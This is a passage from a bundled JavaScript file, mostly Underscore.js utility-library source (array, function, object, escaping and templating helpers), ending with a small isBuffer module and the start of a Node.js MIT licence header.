function(array) {\n    return _.difference(array, slice.call(arguments, 1));\n  };\n\n  // Produce a duplicate-free version of the array. If the array has already\n  // been sorted, you have the option of using a faster algorithm.\n  // Aliased as `unique`.\n  _.uniq = _.unique = function(array, isSorted, iteratee, context) {\n    if (!_.isBoolean(isSorted)) {\n      context = iteratee;\n      iteratee = isSorted;\n      isSorted = false;\n    }\n    if (iteratee != null) iteratee = cb(iteratee, context);\n    var result = [];\n    var seen = [];\n    for (var i = 0, length = getLength(array); i < length; i++) {\n      var value = array[i],\n          computed = iteratee ? iteratee(value, i, array) : value;\n      if (isSorted) {\n        if (!i || seen !== computed) result.push(value);\n        seen = computed;\n      } else if (iteratee) {\n        if (!_.contains(seen, computed)) {\n          seen.push(computed);\n          result.push(value);\n        }\n      } else if (!_.contains(result, value)) {\n        result.push(value);\n      }\n    }\n    return result;\n  };\n\n  // Produce an array that contains the union: each distinct element from all of\n  // the passed-in arrays.\n  _.union = function() {\n    return _.uniq(flatten(arguments, true, true));\n  };\n\n  // Produce an array that contains every item shared between all the\n  // passed-in arrays.\n  _.intersection = function(array) {\n    var result = [];\n    var argsLength = arguments.length;\n    for (var i = 0, length = getLength(array); i < length; i++) {\n      var item = array[i];\n      if (_.contains(result, item)) continue;\n      for (var j = 1; j < argsLength; j++) {\n        if (!_.contains(arguments[j], item)) break;\n      }\n      if (j === argsLength) result.push(item);\n    }\n    return result;\n  };\n\n  // Take the difference between one array and a number of other arrays.\n  // Only the elements present in just the first array will remain.\n  _.difference = function(array) {\n    var rest = flatten(arguments, true, true, 1);\n    return _.filter(array, function(value){\n      return !_.contains(rest, value);\n    });\n  };\n\n  // Zip together multiple lists into a single array -- elements that share\n  // an index go together.\n  _.zip = function() {\n    return _.unzip(arguments);\n  };\n\n  // Complement of _.zip. Unzip accepts an array of arrays and groups\n  // each array's elements on shared indices\n  _.unzip = function(array) {\n    var length = array && _.max(array, getLength).length || 0;\n    var result = Array(length);\n\n    for (var index = 0; index < length; index++) {\n      result[index] = _.pluck(array, index);\n    }\n    return result;\n  };\n\n  // Converts lists into objects. Pass either a single array of `[key, value]`\n  // pairs, or two parallel arrays of the same length -- one of keys, and one of\n  // the corresponding values.\n  _.object = function(list, values) {\n    var result = {};\n    for (var i = 0, length = getLength(list); i < length; i++) {\n      if (values) {\n        result[list[i]] = values[i];\n      } else {\n        result[list[i][0]] = list[i][1];\n      }\n    }\n    return result;\n  };\n\n  // Generator function to create the findIndex and findLastIndex functions\n  function createPredicateIndexFinder(dir) {\n    return function(array, predicate, context) {\n      predicate = cb(predicate, context);\n      var length = getLength(array);\n      var index = dir > 0 ? 0 : length - 1;\n      for (; index >= 0 && index < length; index += dir) {\n        if (predicate(array[index], index, array)) return index;\n      }\n      return -1;\n    };\n  }\n\n  // Returns the first index on an array-like that passes a predicate test\n  _.findIndex = createPredicateIndexFinder(1);\n  _.findLastIndex = createPredicateIndexFinder(-1);\n\n  // Use a comparator function to figure out the smallest index at which\n  // an object should be inserted so as to maintain order. Uses binary search.\n  _.sortedIndex = function(array, obj, iteratee, context) {\n    iteratee = cb(iteratee, context, 1);\n    var value = iteratee(obj);\n    var low = 0, high = getLength(array);\n    while (low < high) {\n      var mid = Math.floor((low + high) / 2);\n      if (iteratee(array[mid]) < value) low = mid + 1; else high = mid;\n    }\n    return low;\n  };\n\n  // Generator function to create the indexOf and lastIndexOf functions\n  function createIndexFinder(dir, predicateFind, sortedIndex) {\n    return function(array, item, idx) {\n      var i = 0, length = getLength(array);\n      if (typeof idx == 'number') {\n        if (dir > 0) {\n            i = idx >= 0 ? idx : Math.max(idx + length, i);\n        } else {\n            length = idx >= 0 ? Math.min(idx + 1, length) : idx + length + 1;\n        }\n      } else if (sortedIndex && idx && length) {\n        idx = sortedIndex(array, item);\n        return array[idx] === item ? idx : -1;\n      }\n      if (item !== item) {\n        idx = predicateFind(slice.call(array, i, length), _.isNaN);\n        return idx >= 0 ? idx + i : -1;\n      }\n      for (idx = dir > 0 ? i : length - 1; idx >= 0 && idx < length; idx += dir) {\n        if (array[idx] === item) return idx;\n      }\n      return -1;\n    };\n  }\n\n  // Return the position of the first occurrence of an item in an array,\n  // or -1 if the item is not included in the array.\n  // If the array is large and already in sort order, pass `true`\n  // for **isSorted** to use binary search.\n  _.indexOf = createIndexFinder(1, _.findIndex, _.sortedIndex);\n  _.lastIndexOf = createIndexFinder(-1, _.findLastIndex);\n\n  // Generate an integer Array containing an arithmetic progression. A port of\n  // the native Python `range()` function. See\n  // [the Python documentation](http://docs.python.org/library/functions.html#range).\n  _.range = function(start, stop, step) {\n    if (stop == null) {\n      stop = start || 0;\n      start = 0;\n    }\n    step = step || 1;\n\n    var length = Math.max(Math.ceil((stop - start) / step), 0);\n    var range = Array(length);\n\n    for (var idx = 0; idx < length; idx++, start += step) {\n      range[idx] = start;\n    }\n\n    return range;\n  };\n\n  // Function (ahem) Functions\n  // ------------------\n\n  // Determines whether to execute a function as a constructor\n  // or a normal function with the provided arguments\n  var executeBound = function(sourceFunc, boundFunc, context, callingContext, args) {\n    if (!(callingContext instanceof boundFunc)) return sourceFunc.apply(context, args);\n    var self = baseCreate(sourceFunc.prototype);\n    var result = sourceFunc.apply(self, args);\n    if (_.isObject(result)) return result;\n    return self;\n  };\n\n  // Create a function bound to a given object (assigning `this`, and arguments,\n  // optionally). Delegates to **ECMAScript 5**'s native `Function.bind` if\n  // available.\n  _.bind = function(func, context) {\n    if (nativeBind && func.bind === nativeBind) return nativeBind.apply(func, slice.call(arguments, 1));\n    if (!_.isFunction(func)) throw new TypeError('Bind must be called on a function');\n    var args = slice.call(arguments, 2);\n    var bound = function() {\n      return executeBound(func, bound, context, this, args.concat(slice.call(arguments)));\n    };\n    return bound;\n  };\n\n  // Partially apply a function by creating a version that has had some of its\n  // arguments pre-filled, without changing its dynamic `this` context. _ acts\n  // as a placeholder, allowing any combination of arguments to be pre-filled.\n  _.partial = function(func) {\n    var boundArgs = slice.call(arguments, 1);\n    var bound = function() {\n      var position = 0, length = boundArgs.length;\n      var args = Array(length);\n      for (var i = 0; i < length; i++) {\n        args[i] = boundArgs[i] === _ ? arguments[position++] : boundArgs[i];\n      }\n      while (position < arguments.length) args.push(arguments[position++]);\n      return executeBound(func, bound, this, this, args);\n    };\n    return bound;\n  };\n\n  // Bind a number of an object's methods to that object. Remaining arguments\n  // are the method names to be bound. Useful for ensuring that all callbacks\n  // defined on an object belong to it.\n  _.bindAll = function(obj) {\n    var i, length = arguments.length, key;\n    if (length <= 1) throw new Error('bindAll must be passed function names');\n    for (i = 1; i < length; i++) {\n      key = arguments[i];\n      obj[key] = _.bind(obj[key], obj);\n    }\n    return obj;\n  };\n\n  // Memoize an expensive function by storing its results.\n  _.memoize = function(func, hasher) {\n    var memoize = function(key) {\n      var cache = memoize.cache;\n      var address = '' + (hasher ? hasher.apply(this, arguments) : key);\n      if (!_.has(cache, address)) cache[address] = func.apply(this, arguments);\n      return cache[address];\n    };\n    memoize.cache = {};\n    return memoize;\n  };\n\n  // Delays a function for the given number of milliseconds, and then calls\n  // it with the arguments supplied.\n  _.delay = function(func, wait) {\n    var args = slice.call(arguments, 2);\n    return setTimeout(function(){\n      return func.apply(null, args);\n    }, wait);\n  };\n\n  // Defers a function, scheduling it to run after the current call stack has\n  // cleared.\n  _.defer = _.partial(_.delay, _, 1);\n\n  // Returns a function, that, when invoked, will only be triggered at most once\n  // during a given window of time. Normally, the throttled function will run\n  // as much as it can, without ever going more than once per `wait` duration;\n  // but if you'd like to disable the execution on the leading edge, pass\n  // `{leading: false}`. To disable execution on the trailing edge, ditto.\n  _.throttle = function(func, wait, options) {\n    var context, args, result;\n    var timeout = null;\n    var previous = 0;\n    if (!options) options = {};\n    var later = function() {\n      previous = options.leading === false ? 0 : _.now();\n      timeout = null;\n      result = func.apply(context, args);\n      if (!timeout) context = args = null;\n    };\n    return function() {\n      var now = _.now();\n      if (!previous && options.leading === false) previous = now;\n      var remaining = wait - (now - previous);\n      context = this;\n      args = arguments;\n      if (remaining <= 0 || remaining > wait) {\n        if (timeout) {\n          clearTimeout(timeout);\n          timeout = null;\n        }\n        previous = now;\n        result = func.apply(context, args);\n        if (!timeout) context = args = null;\n      } else if (!timeout && options.trailing !== false) {\n        timeout = setTimeout(later, remaining);\n      }\n      return result;\n    };\n  };\n\n  // Returns a function, that, as long as it continues to be invoked, will not\n  // be triggered. The function will be called after it stops being called for\n  // N milliseconds. If `immediate` is passed, trigger the function on the\n  // leading edge, instead of the trailing.\n  _.debounce = function(func, wait, immediate) {\n    var timeout, args, context, timestamp, result;\n\n    var later = function() {\n      var last = _.now() - timestamp;\n\n      if (last < wait && last >= 0) {\n        timeout = setTimeout(later, wait - last);\n      } else {\n        timeout = null;\n        if (!immediate) {\n          result = func.apply(context, args);\n          if (!timeout) context = args = null;\n        }\n      }\n    };\n\n    return function() {\n      context = this;\n      args = arguments;\n      timestamp = _.now();\n      var callNow = immediate && !timeout;\n      if (!timeout) timeout = setTimeout(later, wait);\n      if (callNow) {\n        result = func.apply(context, args);\n        context = args = null;\n      }\n\n      return result;\n    };\n  };\n\n  // Returns the first function passed as an argument to the second,\n  // allowing you to adjust arguments, run code before and after, and\n  // conditionally execute the original function.\n  _.wrap = function(func, wrapper) {\n    return _.partial(wrapper, func);\n  };\n\n  // Returns a negated version of the passed-in predicate.\n  _.negate = function(predicate) {\n    return function() {\n      return !predicate.apply(this, arguments);\n    };\n  };\n\n  // Returns a function that is the composition of a list of functions, each\n  // consuming the return value of the function that follows.\n  _.compose = function() {\n    var args = arguments;\n    var start = args.length - 1;\n    return function() {\n      var i = start;\n      var result = args[start].apply(this, arguments);\n      while (i--) result = args[i].call(this, result);\n      return result;\n    };\n  };\n\n  // Returns a function that will only be executed on and after the Nth call.\n  _.after = function(times, func) {\n    return function() {\n      if (--times < 1) {\n        return func.apply(this, arguments);\n      }\n    };\n  };\n\n  // Returns a function that will only be executed up to (but not including) the Nth call.\n  _.before = function(times, func) {\n    var memo;\n    return function() {\n      if (--times > 0) {\n        memo = func.apply(this, arguments);\n      }\n      if (times <= 1) func = null;\n      return memo;\n    };\n  };\n\n  // Returns a function that will be executed at most one time, no matter how\n  // often you call it. Useful for lazy initialization.\n  _.once = _.partial(_.before, 2);\n\n  // Object Functions\n  // ----------------\n\n  // Keys in IE < 9 that won't be iterated by `for key in ...` and thus missed.\n  var hasEnumBug = !{toString: null}.propertyIsEnumerable('toString');\n  var nonEnumerableProps = ['valueOf', 'isPrototypeOf', 'toString',\n                      'propertyIsEnumerable', 'hasOwnProperty', 'toLocaleString'];\n\n  function collectNonEnumProps(obj, keys) {\n    var nonEnumIdx = nonEnumerableProps.length;\n    var constructor = obj.constructor;\n    var proto = (_.isFunction(constructor) && constructor.prototype) || ObjProto;\n\n    // Constructor is a special case.\n    var prop = 'constructor';\n    if (_.has(obj, prop) && !_.contains(keys, prop)) keys.push(prop);\n\n    while (nonEnumIdx--) {\n      prop = nonEnumerableProps[nonEnumIdx];\n      if (prop in obj && obj[prop] !== proto[prop] && !_.contains(keys, prop)) {\n        keys.push(prop);\n      }\n    }\n  }\n\n  // Retrieve the names of an object's own properties.\n  // Delegates to **ECMAScript 5**'s native `Object.keys`\n  _.keys = function(obj) {\n    if (!_.isObject(obj)) return [];\n    if (nativeKeys) return nativeKeys(obj);\n    var keys = [];\n    for (var key in obj) if (_.has(obj, key)) keys.push(key);\n    // Ahem, IE < 9.\n    if (hasEnumBug) collectNonEnumProps(obj, keys);\n    return keys;\n  };\n\n  // Retrieve all the property names of an object.\n  _.allKeys = function(obj) {\n    if (!_.isObject(obj)) return [];\n    var keys = [];\n    for (var key in obj) keys.push(key);\n    // Ahem, IE < 9.\n    if (hasEnumBug) collectNonEnumProps(obj, keys);\n    return keys;\n  };\n\n  // Retrieve the values of an object's properties.\n  _.values = function(obj) {\n    var keys = _.keys(obj);\n    var length = keys.length;\n    var values = Array(length);\n    for (var i = 0; i < length; i++) {\n      values[i] = obj[keys[i]];\n    }\n    return values;\n  };\n\n  // Returns the results of applying the iteratee to each element of the object\n  // In contrast to _.map it returns an object\n  _.mapObject = function(obj, iteratee, context) {\n    iteratee = cb(iteratee, context);\n    var keys =  _.keys(obj),\n          length = keys.length,\n          results = {},\n          currentKey;\n      for (var index = 0; index < length; index++) {\n        currentKey = keys[index];\n        results[currentKey] = iteratee(obj[currentKey], currentKey, obj);\n      }\n      return results;\n  };\n\n  // Convert an object into a list of `[key, value]` pairs.\n  _.pairs = function(obj) {\n    var keys = _.keys(obj);\n    var length = keys.length;\n    var pairs = Array(length);\n    for (var i = 0; i < length; i++) {\n      pairs[i] = [keys[i], obj[keys[i]]];\n    }\n    return pairs;\n  };\n\n  // Invert the keys and values of an object. The values must be serializable.\n  _.invert = function(obj) {\n    var result = {};\n    var keys = _.keys(obj);\n    for (var i = 0, length = keys.length; i < length; i++) {\n      result[obj[keys[i]]] = keys[i];\n    }\n    return result;\n  };\n\n  // Return a sorted list of the function names available on the object.\n  // Aliased as `methods`\n  _.functions = _.methods = function(obj) {\n    var names = [];\n    for (var key in obj) {\n      if (_.isFunction(obj[key])) names.push(key);\n    }\n    return names.sort();\n  };\n\n  // Extend a given object with all the properties in passed-in object(s).\n  _.extend = createAssigner(_.allKeys);\n\n  // Assigns a given object with all the own properties in the passed-in object(s)\n  // (https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object/assign)\n  _.extendOwn = _.assign = createAssigner(_.keys);\n\n  // Returns the first key on an object that passes a predicate test\n  _.findKey = function(obj, predicate, context) {\n    predicate = cb(predicate, context);\n    var keys = _.keys(obj), key;\n    for (var i = 0, length = keys.length; i < length; i++) {\n      key = keys[i];\n      if (predicate(obj[key], key, obj)) return key;\n    }\n  };\n\n  // Return a copy of the object only containing the whitelisted properties.\n  _.pick = function(object, oiteratee, context) {\n    var result = {}, obj = object, iteratee, keys;\n    if (obj == null) return result;\n    if (_.isFunction(oiteratee)) {\n      keys = _.allKeys(obj);\n      iteratee = optimizeCb(oiteratee, context);\n    } else {\n      keys = flatten(arguments, false, false, 1);\n      iteratee = function(value, key, obj) { return key in obj; };\n      obj = Object(obj);\n    }\n    for (var i = 0, length = keys.length; i < length; i++) {\n      var key = keys[i];\n      var value = obj[key];\n      if (iteratee(value, key, obj)) result[key] = value;\n    }\n    return result;\n  };\n\n   // Return a copy of the object without the blacklisted properties.\n  _.omit = function(obj, iteratee, context) {\n    if (_.isFunction(iteratee)) {\n      iteratee = _.negate(iteratee);\n    } else {\n      var keys = _.map(flatten(arguments, false, false, 1), String);\n      iteratee = function(value, key) {\n        return !_.contains(keys, key);\n      };\n    }\n    return _.pick(obj, iteratee, context);\n  };\n\n  // Fill in a given object with default properties.\n  _.defaults = createAssigner(_.allKeys, true);\n\n  // Creates an object that inherits from the given prototype object.\n  // If additional properties are provided then they will be added to the\n  // created object.\n  _.create = function(prototype, props) {\n    var result = baseCreate(prototype);\n    if (props) _.extendOwn(result, props);\n    return result;\n  };\n\n  // Create a (shallow-cloned) duplicate of an object.\n  _.clone = function(obj) {\n    if (!_.isObject(obj)) return obj;\n    return _.isArray(obj) ? obj.slice() : _.extend({}, obj);\n  };\n\n  // Invokes interceptor with the obj, and then returns obj.\n  // The primary purpose of this method is to \"tap into\" a method chain, in\n  // order to perform operations on intermediate results within the chain.\n  _.tap = function(obj, interceptor) {\n    interceptor(obj);\n    return obj;\n  };\n\n  // Returns whether an object has a given set of `key:value` pairs.\n  _.isMatch = function(object, attrs) {\n    var keys = _.keys(attrs), length = keys.length;\n    if (object == null) return !length;\n    var obj = Object(object);\n    for (var i = 0; i < length; i++) {\n      var key = keys[i];\n      if (attrs[key] !== obj[key] || !(key in obj)) return false;\n    }\n    return true;\n  };\n\n\n  // Internal recursive comparison function for `isEqual`.\n  var eq = function(a, b, aStack, bStack) {\n    // Identical objects are equal. `0 === -0`, but they aren't identical.\n    // See the [Harmony `egal` proposal](http://wiki.ecmascript.org/doku.php?id=harmony:egal).\n    if (a === b) return a !== 0 || 1 / a === 1 / b;\n    // A strict comparison is necessary because `null == undefined`.\n    if (a == null || b == null) return a === b;\n    // Unwrap any wrapped objects.\n    if (a instanceof _) a = a._wrapped;\n    if (b instanceof _) b = b._wrapped;\n    // Compare `[[Class]]` names.\n    var className = toString.call(a);\n    if (className !== toString.call(b)) return false;\n    switch (className) {\n      // Strings, numbers, regular expressions, dates, and booleans are compared by value.\n      case '[object RegExp]':\n      // RegExps are coerced to strings for comparison (Note: '' + /a/i === '/a/i')\n      case '[object String]':\n        // Primitives and their corresponding object wrappers are equivalent; thus, `\"5\"` is\n        // equivalent to `new String(\"5\")`.\n        return '' + a === '' + b;\n      case '[object Number]':\n        // `NaN`s are equivalent, but non-reflexive.\n        // Object(NaN) is equivalent to NaN\n        if (+a !== +a) return +b !== +b;\n        // An `egal` comparison is performed for other numeric values.\n        return +a === 0 ? 1 / +a === 1 / b : +a === +b;\n      case '[object Date]':\n      case '[object Boolean]':\n        // Coerce dates and booleans to numeric primitive values. Dates are compared by their\n        // millisecond representations. Note that invalid dates with millisecond representations\n        // of `NaN` are not equivalent.\n        return +a === +b;\n    }\n\n    var areArrays = className === '[object Array]';\n    if (!areArrays) {\n      if (typeof a != 'object' || typeof b != 'object') return false;\n\n      // Objects with different constructors are not equivalent, but `Object`s or `Array`s\n      // from different frames are.\n      var aCtor = a.constructor, bCtor = b.constructor;\n      if (aCtor !== bCtor && !(_.isFunction(aCtor) && aCtor instanceof aCtor &&\n                               _.isFunction(bCtor) && bCtor instanceof bCtor)\n                          && ('constructor' in a && 'constructor' in b)) {\n        return false;\n      }\n    }\n    // Assume equality for cyclic structures. The algorithm for detecting cyclic\n    // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.\n\n    // Initializing stack of traversed objects.\n    // It's done here since we only need them for objects and arrays comparison.\n    aStack = aStack || [];\n    bStack = bStack || [];\n    var length = aStack.length;\n    while (length--) {\n      // Linear search. Performance is inversely proportional to the number of\n      // unique nested structures.\n      if (aStack[length] === a) return bStack[length] === b;\n    }\n\n    // Add the first object to the stack of traversed objects.\n    aStack.push(a);\n    bStack.push(b);\n\n    // Recursively compare objects and arrays.\n    if (areArrays) {\n      // Compare array lengths to determine if a deep comparison is necessary.\n      length = a.length;\n      if (length !== b.length) return false;\n      // Deep compare the contents, ignoring non-numeric properties.\n      while (length--) {\n        if (!eq(a[length], b[length], aStack, bStack)) return false;\n      }\n    } else {\n      // Deep compare objects.\n      var keys = _.keys(a), key;\n      length = keys.length;\n      // Ensure that both objects contain the same number of properties before comparing deep equality.\n      if (_.keys(b).length !== length) return false;\n      while (length--) {\n        // Deep compare each member\n        key = keys[length];\n        if (!(_.has(b, key) && eq(a[key], b[key], aStack, bStack))) return false;\n      }\n    }\n    // Remove the first object from the stack of traversed objects.\n    aStack.pop();\n    bStack.pop();\n    return true;\n  };\n\n  // Perform a deep comparison to check if two objects are equal.\n  _.isEqual = function(a, b) {\n    return eq(a, b);\n  };\n\n  // Is a given array, string, or object empty?\n  // An \"empty\" object has no enumerable own-properties.\n  _.isEmpty = function(obj) {\n    if (obj == null) return true;\n    if (isArrayLike(obj) && (_.isArray(obj) || _.isString(obj) || _.isArguments(obj))) return obj.length === 0;\n    return _.keys(obj).length === 0;\n  };\n\n  // Is a given value a DOM element?\n  _.isElement = function(obj) {\n    return !!(obj && obj.nodeType === 1);\n  };\n\n  // Is a given value an array?\n  // Delegates to ECMA5's native Array.isArray\n  _.isArray = nativeIsArray || function(obj) {\n    return toString.call(obj) === '[object Array]';\n  };\n\n  // Is a given variable an object?\n  _.isObject = function(obj) {\n    var type = typeof obj;\n    return type === 'function' || type === 'object' && !!obj;\n  };\n\n  // Add some isType methods: isArguments, isFunction, isString, isNumber, isDate, isRegExp, isError.\n  _.each(['Arguments', 'Function', 'String', 'Number', 'Date', 'RegExp', 'Error'], function(name) {\n    _['is' + name] = function(obj) {\n      return toString.call(obj) === '[object ' + name + ']';\n    };\n  });\n\n  // Define a fallback version of the method in browsers (ahem, IE < 9), where\n  // there isn't any inspectable \"Arguments\" type.\n  if (!_.isArguments(arguments)) {\n    _.isArguments = function(obj) {\n      return _.has(obj, 'callee');\n    };\n  }\n\n  // Optimize `isFunction` if appropriate. Work around some typeof bugs in old v8,\n  // IE 11 (#1621), and in Safari 8 (#1929).\n  if (typeof /./ != 'function' && typeof Int8Array != 'object') {\n    _.isFunction = function(obj) {\n      return typeof obj == 'function' || false;\n    };\n  }\n\n  // Is a given object a finite number?\n  _.isFinite = function(obj) {\n    return isFinite(obj) && !isNaN(parseFloat(obj));\n  };\n\n  // Is the given value `NaN`? (NaN is the only number which does not equal itself).\n  _.isNaN = function(obj) {\n    return _.isNumber(obj) && obj !== +obj;\n  };\n\n  // Is a given value a boolean?\n  _.isBoolean = function(obj) {\n    return obj === true || obj === false || toString.call(obj) === '[object Boolean]';\n  };\n\n  // Is a given value equal to null?\n  _.isNull = function(obj) {\n    return obj === null;\n  };\n\n  // Is a given variable undefined?\n  _.isUndefined = function(obj) {\n    return obj === void 0;\n  };\n\n  // Shortcut function for checking if an object has a given property directly\n  // on itself (in other words, not on a prototype).\n  _.has = function(obj, key) {\n    return obj != null && hasOwnProperty.call(obj, key);\n  };\n\n  // Utility Functions\n  // -----------------\n\n  // Run Underscore.js in *noConflict* mode, returning the `_` variable to its\n  // previous owner. Returns a reference to the Underscore object.\n  _.noConflict = function() {\n    root._ = previousUnderscore;\n    return this;\n  };\n\n  // Keep the identity function around for default iteratees.\n  _.identity = function(value) {\n    return value;\n  };\n\n  // Predicate-generating functions. Often useful outside of Underscore.\n  _.constant = function(value) {\n    return function() {\n      return value;\n    };\n  };\n\n  _.noop = function(){};\n\n  _.property = property;\n\n  // Generates a function for a given object that returns a given property.\n  _.propertyOf = function(obj) {\n    return obj == null ? function(){} : function(key) {\n      return obj[key];\n    };\n  };\n\n  // Returns a predicate for checking whether an object has a given set of\n  // `key:value` pairs.\n  _.matcher = _.matches = function(attrs) {\n    attrs = _.extendOwn({}, attrs);\n    return function(obj) {\n      return _.isMatch(obj, attrs);\n    };\n  };\n\n  // Run a function **n** times.\n  _.times = function(n, iteratee, context) {\n    var accum = Array(Math.max(0, n));\n    iteratee = optimizeCb(iteratee, context, 1);\n    for (var i = 0; i < n; i++) accum[i] = iteratee(i);\n    return accum;\n  };\n\n  // Return a random integer between min and max (inclusive).\n  _.random = function(min, max) {\n    if (max == null) {\n      max = min;\n      min = 0;\n    }\n    return min + Math.floor(Math.random() * (max - min + 1));\n  };\n\n  // A (possibly faster) way to get the current timestamp as an integer.\n  _.now = Date.now || function() {\n    return new Date().getTime();\n  };\n\n   // List of HTML entities for escaping.\n  var escapeMap = {\n    '&': '&amp;',\n    '<': '&lt;',\n    '>': '&gt;',\n    '\"': '&quot;',\n    \"'\": '&#x27;',\n    '`': '&#x60;'\n  };\n  var unescapeMap = _.invert(escapeMap);\n\n  // Functions for escaping and unescaping strings to/from HTML interpolation.\n  var createEscaper = function(map) {\n    var escaper = function(match) {\n      return map[match];\n    };\n    // Regexes for identifying a key that needs to be escaped\n    var source = '(?:' + _.keys(map).join('|') + ')';\n    var testRegexp = RegExp(source);\n    var replaceRegexp = RegExp(source, 'g');\n    return function(string) {\n      string = string == null ? '' : '' + string;\n      return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;\n    };\n  };\n  _.escape = createEscaper(escapeMap);\n  _.unescape = createEscaper(unescapeMap);\n\n  // If the value of the named `property` is a function then invoke it with the\n  // `object` as context; otherwise, return it.\n  _.result = function(object, property, fallback) {\n    var value = object == null ? void 0 : object[property];\n    if (value === void 0) {\n      value = fallback;\n    }\n    return _.isFunction(value) ? value.call(object) : value;\n  };\n\n  // Generate a unique integer id (unique within the entire client session).\n  // Useful for temporary DOM ids.\n  var idCounter = 0;\n  _.uniqueId = function(prefix) {\n    var id = ++idCounter + '';\n    return prefix ? prefix + id : id;\n  };\n\n  // By default, Underscore uses ERB-style template delimiters, change the\n  // following template settings to use alternative delimiters.\n  _.templateSettings = {\n    evaluate    : /<%([\\s\\S]+?)%>/g,\n    interpolate : /<%=([\\s\\S]+?)%>/g,\n    escape      : /<%-([\\s\\S]+?)%>/g\n  };\n\n  // When customizing `templateSettings`, if you don't want to define an\n  // interpolation, evaluation or escaping regex, we need one that is\n  // guaranteed not to match.\n  var noMatch = /(.)^/;\n\n  // Certain characters need to be escaped so that they can be put into a\n  // string literal.\n  var escapes = {\n    \"'\":      \"'\",\n    '\\\\':     '\\\\',\n    '\\r':     'r',\n    '\\n':     'n',\n    '\\u2028': 'u2028',\n    '\\u2029': 'u2029'\n  };\n\n  var escaper = /\\\\|'|\\r|\\n|\\u2028|\\u2029/g;\n\n  var escapeChar = function(match) {\n    return '\\\\' + escapes[match];\n  };\n\n  // JavaScript micro-templating, similar to John Resig's implementation.\n  // Underscore templating handles arbitrary delimiters, preserves whitespace,\n  // and correctly escapes quotes within interpolated code.\n  // NB: `oldSettings` only exists for backwards compatibility.\n  _.template = function(text, settings, oldSettings) {\n    if (!settings && oldSettings) settings = oldSettings;\n    settings = _.defaults({}, settings, _.templateSettings);\n\n    // Combine delimiters into one regular expression via alternation.\n    var matcher = RegExp([\n      (settings.escape || noMatch).source,\n      (settings.interpolate || noMatch).source,\n      (settings.evaluate || noMatch).source\n    ].join('|') + '|$', 'g');\n\n    // Compile the template source, escaping string literals appropriately.\n    var index = 0;\n    var source = \"__p+='\";\n    text.replace(matcher, function(match, escape, interpolate, evaluate, offset) {\n      source += text.slice(index, offset).replace(escaper, escapeChar);\n      index = offset + match.length;\n\n      if (escape) {\n        source += \"'+\\n((__t=(\" + escape + \"))==null?'':_.escape(__t))+\\n'\";\n      } else if (interpolate) {\n        source += \"'+\\n((__t=(\" + interpolate + \"))==null?'':__t)+\\n'\";\n      } else if (evaluate) {\n        source += \"';\\n\" + evaluate + \"\\n__p+='\";\n      }\n\n      // Adobe VMs need the match returned to produce the correct offest.\n      return match;\n    });\n    source += \"';\\n\";\n\n    // If a variable is not specified, place data values in local scope.\n    if (!settings.variable) source = 'with(obj||{}){\\n' + source + '}\\n';\n\n    source = \"var __t,__p='',__j=Array.prototype.join,\" +\n      \"print=function(){__p+=__j.call(arguments,'');};\\n\" +\n      source + 'return __p;\\n';\n\n    try {\n      var render = new Function(settings.variable || 'obj', '_', source);\n    } catch (e) {\n      e.source = source;\n      throw e;\n    }\n\n    var template = function(data) {\n      return render.call(this, data, _);\n    };\n\n    // Provide the compiled source as a convenience for precompilation.\n    var argument = settings.variable || 'obj';\n    template.source = 'function(' + argument + '){\\n' + source + '}';\n\n    return template;\n  };\n\n  // Add a \"chain\" function. Start chaining a wrapped Underscore object.\n  _.chain = function(obj) {\n    var instance = _(obj);\n    instance._chain = true;\n    return instance;\n  };\n\n  // OOP\n  // ---------------\n  // If Underscore is called as a function, it returns a wrapped object that\n  // can be used OO-style. This wrapper holds altered versions of all the\n  // underscore functions. Wrapped objects may be chained.\n\n  // Helper function to continue chaining intermediate results.\n  var result = function(instance, obj) {\n    return instance._chain ? _(obj).chain() : obj;\n  };\n\n  // Add your own custom functions to the Underscore object.\n  _.mixin = function(obj) {\n    _.each(_.functions(obj), function(name) {\n      var func = _[name] = obj[name];\n      _.prototype[name] = function() {\n        var args = [this._wrapped];\n        push.apply(args, arguments);\n        return result(this, func.apply(_, args));\n      };\n    });\n  };\n\n  // Add all of the Underscore functions to the wrapper object.\n  _.mixin(_);\n\n  // Add all mutator Array functions to the wrapper.\n  _.each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {\n    var method = ArrayProto[name];\n    _.prototype[name] = function() {\n      var obj = this._wrapped;\n      method.apply(obj, arguments);\n      if ((name === 'shift' || name === 'splice') && obj.length === 0) delete obj[0];\n      return result(this, obj);\n    };\n  });\n\n  // Add all accessor Array functions to the wrapper.\n  _.each(['concat', 'join', 'slice'], function(name) {\n    var method = ArrayProto[name];\n    _.prototype[name] = function() {\n      return result(this, method.apply(this._wrapped, arguments));\n    };\n  });\n\n  // Extracts the result from a wrapped and chained object.\n  _.prototype.value = function() {\n    return this._wrapped;\n  };\n\n  // Provide unwrapping proxy for some methods used in engine operations\n  // such as arithmetic and JSON stringification.\n  _.prototype.valueOf = _.prototype.toJSON = _.prototype.value;\n\n  _.prototype.toString = function() {\n    return '' + this._wrapped;\n  };\n\n  // AMD registration happens at the end for compatibility with AMD loaders\n  // that may not enforce next-turn semantics on modules. Even though general\n  // practice for AMD registration is to be anonymous, underscore registers\n  // as a named module because, like jQuery, it is a base library that is\n  // popular enough to be bundled in a third party lib, but not be part of\n  // an AMD load request. Those cases could generate an error when an\n  // anonymous define() is called outside of a loader request.\n  if (typeof define === 'function' && define.amd) {\n    define('underscore', [], function() {\n      return _;\n    });\n  }\n}.call(this));\n\n},{}],26:[function(require,module,exports){\narguments[4][19][0].apply(exports,arguments)\n},{\"dup\":19}],27:[function(require,module,exports){\nmodule.exports = function isBuffer(arg) {\n  return arg && typeof arg === 'object'\n    && typeof arg.copy === 'function'\n    && typeof arg.fill === 'function'\n    && typeof arg.readUInt8 === 'function';\n}\n},{}],28:[function(require,module,exports){\n(function (process,global){\n// Copyright Joyent, Inc. and other Node contributors.\n//\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the\n// \"Software\"), to deal in the Software without restriction, including\n// without limitation the rights to use, copy, modify, merge, publish,\n// distribute, sublicense, and/or sell copies of the Software, and to permit\n// persons to whom the Software is furnished to do so, subject to the\n// following conditions:\n//\n// The above copyright notice and this permission notice shall be included\n// in all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", 